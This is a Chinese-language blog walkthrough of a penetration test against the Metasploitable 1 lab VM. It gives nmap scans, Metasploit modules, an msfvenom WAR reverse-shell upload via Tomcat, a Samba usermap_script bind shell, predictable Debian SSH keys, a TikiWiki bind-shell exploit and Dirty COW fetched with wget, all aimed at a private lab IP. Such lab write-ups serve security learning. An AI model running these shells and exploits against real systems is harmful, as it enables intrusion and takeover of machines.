当前位置: 首页 > web >正文

Metasploitable: 1靶场渗透

Metasploitable: 1

来自 <Metasploitable: 1 ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.142

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.142

目标主机漏洞分析表(192.168.23.142)

端口

服务

版本/信息

漏洞风险

利用建议

21

FTP

ProFTPD 1.3.1

CVE-2010-4221:远程命令执行(mod_copy模块)

msf> use exploit/unix/ftp/proftpd_modcopy_exec

22

SSH

OpenSSH 4.7p1

弱密码/密钥泄露风险,支持不安全的SSHv1协议

爆破密码:hydra -l root -P wordlist.txt ssh://192.168.23.142

23

Telnet

Linux telnetd

明文传输凭证,未授权访问风险

爆破登录:nc 192.168.23.142 23 + 手工测试弱密码

25

SMTP

Postfix

VRFY命令用户枚举,SSLv2协议漏洞(中间人攻击)

枚举用户:telnet 192.168.23.142 25 → VRFY root

80

HTTP

Apache 2.2.8 + PHP 5.2.4

PHP漏洞(RFI/命令注入),TRACE方法跨站攻击风险

扫描路径:nikto -h http://192.168.23.142,检查/phpmyadmin/等目录

139/445

Samba

Samba 3.0.20-Debian

CVE-2007-2447:未授权命令执行(username参数注入)

msf> use exploit/multi/samba/usermap_script

3306

MySQL

MySQL 5.0.51a

弱密码风险(root空密码),权限提升漏洞

登录测试:mysql -h 192.168.23.142 -u root -p(密码空)

3632

distccd

distccd v1

CVE-2004-2687:未授权远程命令执行

msf> use exploit/unix/misc/distcc_exec

5432

PostgreSQL

PostgreSQL 8.3.x

弱密码(postgres:postgres),认证绕过漏洞(CVE-2007-6600)

爆破登录:hydra -l postgres -P wordlist.txt postgres://192.168.23.142

8009

AJP13

Apache Jserv

可能关联Tomcat的Ghostcat漏洞(CVE-2020-1938)

检查Tomcat文件读取

8180

HTTP

Apache Tomcat 5.5

控制台弱密码(tomcat:tomcat),远程代码执行漏洞(CVE-2009-3098)

爆破控制台:http://192.168.23.142:8180/manager/html

4,访问80端口http服务

扫描网站存在的子目录

dirsearch -u http://192.168.23.142 -x 404,403

http://192.168.23.142/phpinfo.php

http://192.168.23.142/tikiwiki/tiki-index.php

5,然后再访问8180端口存在的http服务

应该是存在文件上传漏洞的,结合metasploit利用之

需要进行登录,burpsuite抓个包

基于basic认证,账户密码被base64加密,使用自定义迭代器爆破得到账户密码为tomcat

使用decoder模块进行编码

6,然后登录tomcat

登录成功,是系统默认的账户密码。找到存在文件上传的位置

http://192.168.23.142:8180/manager/html/list

然后使用msfvenom生成war文件格式的木马

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.23.128 LPORT=4444 -f war -o shell.war

msfconsole -q

use exploit/multi/handler

set payload java/meterpreter/reverse_tcp

set LHOST 192.168.23.128

set LPORT 4444

run

war文件上传成功

木马位置如下,访问这个文件就可以成功触发木马实现远程控制

http://192.168.23.142:8180/shell

7,然后使用python脚本启动一个可交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

信息收集一下

uname -a

lsb_release -a

存在泄露的公钥文件,找到私就可以ssh登录

cat /root/.ssh/authorized_keys

提权方法一:openssl软件包伪随机数泄露

8,可能存在openssl软件包伪随机数泄露,下载私钥文件,然后筛选出能够登录的私钥文件

典型漏洞案例:Debian OpenSSL PRNG 弱随机数漏洞(CVE-2008-0166)

漏洞基本信息

  • 漏洞编号:CVE-2008-0166
  • 影响范围:Debian 系列(如 Ubuntu)2006年9月~2008年5月之间生成的 SSH 密钥、SSL 证书等
  • 漏洞类型:伪随机数生成器被削弱,导致密钥可预测
  • 影响版本
    • OpenSSL 0.9.8c-1 到 0.9.8g-9(Debian/Ubuntu)
  • 发现时间:2008年5月
  • 危害等级:高危

漏洞原理

Debian 开发者为了消除 OpenSSL 在 Valgrind 下的内存未初始化警告,错误地移除了影响随机数种子的关键代码(MD_Update()),结果使得生成的随机数几乎固定。

换句话说:系统用来生成密钥的“随机性”被严重削弱,导致密钥实际是“可枚举”的。

ssh-keygen -t rsa

本应生成不可预测的密钥,结果在漏洞版本中生成的密钥只与进程 ID 等极少量因素有关,最多几万个组合。
影响结果

  • SSL 证书/SSH 密钥 可被暴力破解
  • VPN、HTTPS、SSH 连接存在严重安全隐患
  • 所有在受影响系统中生成的密钥都不再安全!

攻击者可以:

  • 枚举可能的私钥(约 32,000 个),快速进行密钥重放攻击
  • 破解 TLS/SSL 连接,进行中间人攻击(MITM)

下载密钥文件包

export https_proxy="socks5://192.168.99.74:7897"

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2

tar -xvjf 5622.tar.bz2 

  • -x:解压(extract)
  • -v:显示过程(verbose,可选)
  • -j:通过 bzip2 解压缩(因为 .bz2)
  • -f:指定文件名(file)

cd rsa/2048

grep -l AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable *.pub

cp /root/rsa/2048/57c3115d77c56390332dc5c49978627a-5429 /root/

chmod 600 57c3115d77c56390332dc5c49978627a-5429

ssh -i 57c3115d77c56390332dc5c49978627a-5429 \

-o HostKeyAlgorithms=+ssh-rsa \

-o PubkeyAcceptedKeyTypes=+ssh-rsa \

root@192.168.23.142

成功变成root用户

提权方法二:CVE-2007-2447:未授权命令执行(username参数注入)

漏洞核心信息 169

  • 影响版本:Samba 3.0.20 - 3.0.25rc3
  • 漏洞类型:远程命令注入(无需身份认证)
  • 根本原因:
    当 Samba 配置中启用了非默认选项 
    username map script(用户名映射脚本)时,攻击者可在用户名中插入 Shell 元字符(如 ;|、反引号 `),使服务器执行任意命令。
  • 风险等级:高危(可获取 root 权限)610

漏洞利用原理

  1. 攻击路径:
  • 通过 SMB 协议的会话建立请求(如 SamrChangePassword 函数),注入包含恶意命令的用户名(例如 /=`nohup恶意命令` 910
  • Samba 将用户名传递给 /bin/sh 执行,导致命令在服务端运行16
  1. 利用条件:
  • Samba 配置需启用 username map script 选项(非默认配置)9
  • 目标端口(139/445)开放且未修复漏洞。

渗透测试利用步骤(Metasploit) 346

msfconsole
use exploit/multi/samba/usermap_script
set RHOST 192.168.1.10
set PAYLOAD cmd/unix/bind_netcat 
exploit

结果:成功获取目标系统的 root 权限 Shell610

防御与修复方案

  1. 紧急修复:
  • 升级 Samba:更新至 3.0.25rc3 以上版本(官方于 2007年5月14日发布补丁)59
  • 禁用高危配置:在 smb.conf 中移除或注释 username map script 选项10
  1. 访问控制强化:
  • 使用 hosts allow 限制访问源 IP(例如 hosts allow = 192.168.1.0/2410
  • 关闭不必要的 SMB 端口(139/445)6
  1. 入侵检测:
  • 监控 /var/log/samba/log.smbd 中的异常用户名请求(如包含 ;` 等字符)1

漏洞生命周期关键事件 259

日期

事件

2007-05-07

漏洞匿名报告至 security@samba.org

2007-05-09

Samba 开发者发布补丁

2007-05-14

漏洞公开(CVE-2007-2447)

2010-02-16

Metasploit 集成攻击模块(usermap_script

总结

  • 漏洞本质:配置不当 + 输入未过滤 → 无需认证的远程代码执行。
  • 现代威胁:
    虽属古老漏洞,但未升级的嵌入式设备或内网老旧系统仍存在风险(如 Metasploitable 靶机)
    46
  • 渗透意义:
    经典案例揭示了 “信任用户输入” 的致命性,后续版本 Samba 强化了输入过滤与安全默认配置
    910

 

9,使用msf进行漏洞利用

msfconsole -q

use exploit/multi/samba/usermap_script

options

set RHOST 192.168.23.142
set PAYLOAD cmd/unix/bind_netcat 

run

 

第三种方法:tikiwiki1.9.5 Nday实现getshell,内核漏洞实现提权

10,使用git复制攻击脚本和工具,攻击目标正是80端口的tikiwiki服务

git clone GitHub - d3fudd/TikiWiki_1.9.5_Exploit: TikiWiki 1.9.5 Sirius exploit (Bind Shell)

cd TikiWiki_1.9.5_Exploit

bash tikiwiki_graph_formula_exec.sh http://192.168.23.142/tikiwiki/

方法是正向连接获取shell

nc -vn 192.168.23.142 1337

python -c 'import pty;pty.spawn("/bin/bash")'

 

11,然后再下载脏牛脚本实现提权攻击

wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c

//使用Python开启临时网站

python3 -m http.server

//靶机下载本机的dirty.c过来

cd /tmp

wget http://192.168.23.128:8000/dirty.c

//编译

gcc -pthread dirty.c -lcrypt -o dirty

//给权限

chmod +x dirty

//执行

./dirty

然后ssh连接登录root,密码为1。su也可以切换成root用户

 

http://www.xdnf.cn/news/13353.html

相关文章:

  • 在postgresql中,group by时取第一个值
  • 网络编程(Modbus进阶)
  • Manus 框架与 COKE 框架解析及完整 Demo
  • Unreal从入门到精通之使用 CheatManager 自定义控制台命令
  • 操作系统的一些名词
  • 期末考试复习总结-第一章《HarmonyOS介绍》
  • ​计算机网络原理超详解说​
  • 2025-03-14-Google检索技巧
  • 华为云Flexus+DeepSeek征文 | 基于ModelArts Studio、DeepSeek大模型和Dify搭建网站智能客服助手
  • 深度学习——简介
  • Ubuntu下挂载NTFS格式磁盘
  • 访问服务器项目,服务器可以ping通,但是端口访问不到
  • C++ mutex 锁的使用
  • JavaScript BOM 详细介绍
  • 重温经典算法——二分查找
  • 借助AI识别测试盲区:从需求文档中挖掘遗漏场景
  • CVPR 2025 MIMO: 支持视觉指代和像素grounding 的医学视觉语言模型
  • 深度学习:概念、特点和发展史
  • Admin.Net中的消息通信SignalR解释
  • 基于OpenCV的风格迁移:图像金字塔方法
  • jupyterhub的浅浅使用-重点在解决无法登录
  • GD32-开发工程搭建
  • 超短脉冲激光自聚焦效应
  • 人脸识别技术应用备案找不找第三方
  • CppCon 2015 学习:Practical Move Semantics
  • SpringBoot+Vue+MySQL全栈开发实战:前后端接口对接与数据存储详解
  • 【算法篇】逐步理解动态规划模型5(子序列问题)
  • 隐藏wordpress后台登陆地址 让wordpress网站更安全
  • 【VBA】使用脚本把doc/docx转换为pdf格式
  • 消息消费类型和具体实现